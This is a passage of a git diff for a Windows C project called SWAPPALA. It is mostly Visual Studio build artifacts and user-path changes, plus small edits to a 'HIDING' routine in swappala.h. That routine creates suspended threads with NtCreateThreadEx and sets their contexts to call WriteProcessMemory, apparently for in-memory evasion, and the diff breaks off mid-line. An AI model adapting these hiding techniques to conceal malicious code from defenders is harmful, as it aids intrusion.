"C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\SWAPPALA.c", "RelativeToolTip": "SWAPPALA.c", - "ViewState": "AgIAAKMAAAAAAAAAAAAcwIcAAAAJAAAAAAAAAA==", + "ViewState": "AgIAAHEAAAAAAAAAAAAkwHcAAAAWAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000423|", "WhenOpened": "2024-05-27T15:40:42.524Z", "EditorCaption": "" @@ -114,11 +114,11 @@ "$type": "Document", "DocumentIndex": 2, "Title": "headers.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h", "RelativeDocumentMoniker": "headers.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\headers.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\headers.h", "RelativeToolTip": "headers.h", - "ViewState": "AgIAAAAAAAAAAAAAAAAAAAUAAAAAAAAAAAAAAA==", + "ViewState": "AgIAAGABAAAAAAAAAAAkwHUBAAAPAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", "WhenOpened": "2024-05-27T15:59:17.84Z", "EditorCaption": "" @@ -127,9 +127,9 @@ "$type": "Document", "DocumentIndex": 8, "Title": "globals.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h", "RelativeDocumentMoniker": "globals.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\globals.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\globals.h", "RelativeToolTip": "globals.h", "ViewState": "AQIAAAAAAAAAAAAAAAAAAAQAAAAAAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -139,9 +139,9 @@ "$type": "Document", "DocumentIndex": 4, "Title": "handlesenum.h", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", "RelativeDocumentMoniker": "handlesenum.h", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\handlesenum.h", "RelativeToolTip": "handlesenum.h", "ViewState": "AgIAAMkAAAAAAAAAAAAAAAgAAAAYAAAAAAAAAA==", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.000680|", @@ -151,9 +151,9 @@ "$type": "Document", "DocumentIndex": 5, "Title": "syscalls.asm", - "DocumentMoniker": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", + "DocumentMoniker": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", "RelativeDocumentMoniker": "syscalls.asm", - "ToolTip": "C:\\Users\\Anonymous\\Code\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", + "ToolTip": "C:\\Users\\vsant\\Github\\SWAPPALA\\SWAPPALA\\syscalls.asm", "RelativeToolTip": "syscalls.asm", "ViewState": "AQIAAD4AAAAAAAAAAAAWwEUAAAAAAAAA", "Icon": "ae27a6b0-e345-4288-96df-5eaf394ee369.001001|", diff --git a/SWAPPALA/.vs/SWAPPALA/v17/ipch/AutoPCH/37c31f3d7b2f6fab/SWAPPALA.ipch b/SWAPPALA/.vs/SWAPPALA/v17/ipch/AutoPCH/37c31f3d7b2f6fab/SWAPPALA.ipch index 54dd8c7..a0ad153 100644 Binary files a/SWAPPALA/.vs/SWAPPALA/v17/ipch/AutoPCH/37c31f3d7b2f6fab/SWAPPALA.ipch and b/SWAPPALA/.vs/SWAPPALA/v17/ipch/AutoPCH/37c31f3d7b2f6fab/SWAPPALA.ipch differ diff --git a/SWAPPALA/SWAPPALA.c b/SWAPPALA/SWAPPALA.c index 2d6bbb1..a52dccd 100644 --- a/SWAPPALA/SWAPPALA.c +++ b/SWAPPALA/SWAPPALA.c @@ -116,6 +116,8 @@ int main() HANDLE MALHANDLE = NULL; BYTE SWAPPALA[] = { 0x53, 0x57, 0x41, 0x50, 0x50, 0x41, 0x4C, 0x41, 0x00 }; + //print the PID of the process + printf("[+] SWAPPALA Process ID: %d\n", GetCurrentProcessId()); //retrieve the needed syscalls RetrieveZwFunctions(GetModuleHandleA("ntdll.dll"), zwFunctions); diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.Build.CppClean.log b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.Build.CppClean.log index 16dbb3f..73fbbf0 100644 --- a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.Build.CppClean.log +++ b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.Build.CppClean.log @@ -1,17 +1,17 @@ -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\vc143.pdb -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\vc143.idb -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.obj -c:\users\anonymous\code\github\swappala\swappala\x64\debug\swappala.exe -c:\users\anonymous\code\github\swappala\swappala\x64\debug\swappala.pdb -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\syscalls.obj -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.ilk -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.command.1.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.items.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.read.1.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.write.1.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.command.1.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.read.1.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.secondary.1.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.write.1.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.read.1u.tlog -c:\users\anonymous\code\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.write.1u.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\vc143.pdb +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\vc143.idb +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.obj +c:\users\vsant\github\swappala\swappala\x64\debug\swappala.exe +c:\users\vsant\github\swappala\swappala\x64\debug\swappala.pdb +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\syscalls.obj +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.ilk +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.command.1.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.items.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.read.1.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\cl.write.1.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.command.1.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.read.1.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.secondary.1.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\link.write.1.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.read.1u.tlog +c:\users\vsant\github\swappala\swappala\swappala\x64\debug\swappala.tlog\masm.write.1u.tlog diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.exe.recipe b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.exe.recipe index fc72966..4e6a0aa 100644 --- a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.exe.recipe +++ b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.exe.recipe @@ -2,7 +2,7 @@ - C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe + C:\Users\vsant\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.ilk b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.ilk index 6f9ecdf..3d254ab 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.ilk and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.ilk differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.log b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.log index db12b0c..34c6f55 100644 --- a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.log +++ b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.log @@ -1,96 +1,96 @@  Assembling syscalls.asm... SWAPPALA.c -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\misc.h(19,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\misc.h(19,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\misc.h(24,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\misc.h(24,9): warning C4047: 'return': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,85): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,85): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,85): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,85): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,91): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,91): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,91): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,91): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,127): warning C4047: 'function': 'ULONG' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,127): warning C4047: 'function': 'ULONG' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(27,127): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 9 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(28,127): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 9 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(10,35): warning C4244: 'initializing': conversion from 'SIZE_T' to 'DWORD', possible loss of data +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(11,35): warning C4244: 'initializing': conversion from 'SIZE_T' to 'DWORD', possible loss of data (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(49,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(50,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(82,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(83,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4024: 'function through pointer': different types for formal and actual parameter 8 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4024: 'function through pointer': different types for formal and actual parameter 9 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(166,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(148,10): warning C4024: 'function through pointer': different types for formal and actual parameter 10 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4024: 'function through pointer': different types for formal and actual parameter 8 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4024: 'function through pointer': different types for formal and actual parameter 9 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\swappala.h(198,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\swappala.h(180,14): warning C4024: 'function through pointer': different types for formal and actual parameter 10 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(40,59): warning C4244: 'function': conversion from 'SIZE_T' to 'ULONG', possible loss of data +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(40,59): warning C4244: 'function': conversion from 'SIZE_T' to 'ULONG', possible loss of data (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,107): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 4 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4047: 'function': 'SIZE_T' differs in levels of indirection from 'void *' (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5 +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(108,113): warning C4024: 'ZwMapViewOfSection': different types for formal and actual parameter 5 (compiling source file 'SWAPPALA.c') -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(181,27): warning C4133: '=': incompatible types - from 'HMODULE' to 'PBYTE' -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(115,12): warning C4047: 'initializing': 'SIZE_T' differs in levels of indirection from 'void *' -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\handlesenum.h(223,1): warning C4715: 'FindSectionHandle': not all control paths return a value - SWAPPALA.vcxproj -> C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(183,27): warning C4133: '=': incompatible types - from 'HMODULE' to 'PBYTE' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA.c(115,12): warning C4047: 'initializing': 'SIZE_T' differs in levels of indirection from 'void *' +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\handlesenum.h(223,1): warning C4715: 'FindSectionHandle': not all control paths return a value + SWAPPALA.vcxproj -> C:\Users\vsant\Github\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.exe diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.command.1.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.command.1.tlog index 163261e..c66f7b0 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.command.1.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.command.1.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.read.1.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.read.1.tlog index 5a712d3..2270f43 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.read.1.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.read.1.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.write.1.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.write.1.tlog index d05400e..a5f5acc 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.write.1.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/CL.write.1.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Cl.items.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Cl.items.tlog index 6fc71a8..f3a3838 100644 --- a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Cl.items.tlog +++ b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Cl.items.tlog @@ -1 +1 @@ -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA.c;C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.obj +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA.c;C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.obj diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.read.1u.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.read.1u.tlog index 2011744..194aa33 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.read.1u.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.read.1u.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.write.1u.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.write.1u.tlog index 3392dfb..948cebb 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.write.1u.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/Masm.write.1u.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/SWAPPALA.lastbuildstate b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/SWAPPALA.lastbuildstate index 9611be8..3f867db 100644 --- a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/SWAPPALA.lastbuildstate +++ b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/SWAPPALA.lastbuildstate @@ -1,2 +1,2 @@ -PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.42.34433:TargetPlatformVersion=10.0.22621.0: -Debug|x64|C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\| +PlatformToolSet=v143:VCToolArchitecture=Native64Bit:VCToolsVersion=14.42.34433:TargetPlatformVersion=10.0.22000.0: +Debug|x64|C:\Users\vsant\Github\SWAPPALA\SWAPPALA\| diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.command.1.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.command.1.tlog index aebddbf..13214f2 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.command.1.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.command.1.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.read.1.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.read.1.tlog index 9a57dc2..50fe98e 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.read.1.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.read.1.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.secondary.1.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.secondary.1.tlog index 0b01bb6..fe5d120 100644 --- a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.secondary.1.tlog +++ b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.secondary.1.tlog @@ -1,2 +1,2 @@ -^C:\USERS\ANONYMOUS\CODE\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SWAPPALA.OBJ|C:\USERS\ANONYMOUS\CODE\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SYSCALLS.OBJ -C:\Users\Anonymous\Code\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.ilk +^C:\USERS\VSANT\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SWAPPALA.OBJ|C:\USERS\VSANT\GITHUB\SWAPPALA\SWAPPALA\SWAPPALA\X64\DEBUG\SYSCALLS.OBJ +C:\Users\vsant\Github\SWAPPALA\SWAPPALA\SWAPPALA\x64\Debug\SWAPPALA.ilk diff --git a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.write.1.tlog b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.write.1.tlog index dafaa98..3554a8d 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.write.1.tlog and b/SWAPPALA/SWAPPALA/x64/Debug/SWAPPALA.tlog/link.write.1.tlog differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/vc143.idb b/SWAPPALA/SWAPPALA/x64/Debug/vc143.idb index e9bc101..4ba710d 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/vc143.idb and b/SWAPPALA/SWAPPALA/x64/Debug/vc143.idb differ diff --git a/SWAPPALA/SWAPPALA/x64/Debug/vc143.pdb b/SWAPPALA/SWAPPALA/x64/Debug/vc143.pdb index f913203..124f0fc 100644 Binary files a/SWAPPALA/SWAPPALA/x64/Debug/vc143.pdb and b/SWAPPALA/SWAPPALA/x64/Debug/vc143.pdb differ diff --git a/SWAPPALA/swappala.h b/SWAPPALA/swappala.h index 25375a3..1f68fc3 100644 --- a/SWAPPALA/swappala.h +++ b/SWAPPALA/swappala.h @@ -2,6 +2,7 @@ #include "syscalls.h" #include "globals.h" +#include HANDLE SwapDll(SIZE_T MODULESIZE, PVOID SACDLLBASE) { @@ -42,7 +43,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA /* --------- HIDING --------- */ - HANDLE hThreads[6] = { 0 }; + HANDLE hThreads[3] = { 0 }; //starting the APC trigger thread @@ -76,7 +77,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA // Create seven threads in suspended state - for (int i = 1; i < 6; ++i) + for (int i = 1; i < 3; ++i) { //does not really matter here the function the threads are going to execute if (!NT_SUCCESS(ntFunctions->NtCreateThreadEx(&hThreads[i], THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (PUSER_THREAD_START_ROUTINE)ExitThread, NULL, TRUE, NULL, NULL, NULL, NULL))) @@ -86,7 +87,7 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA } // Modify the context of all the threads - for (int i = 1; i < 6; ++i) + for (int i = 1; i < 3; ++i) { // Initialize the context structure CtxHide[i].ContextFlags = CONTEXT_ALL; @@ -113,31 +114,12 @@ int SleapingAPCNG(PTPP_CLEANUP_GROUP_MEMBER* callbackinfo, PHANDLE EvntHide, PHA CtxHide[2].R8 = (DWORD64)SafeCallback; CtxHide[2].R9 = (DWORD64)sizeof(PVOID); - *(ULONG_PTR*)((CtxHide[3]).Rsp) = (DWORD64)ExitThread; - CtxHide[3].Rip = (DWORD64)WriteProcessMemory; - CtxHide[3].Rcx = (DWORD64)(HANDLE)-1; - CtxHide[3].Rdx = (DWORD64) & 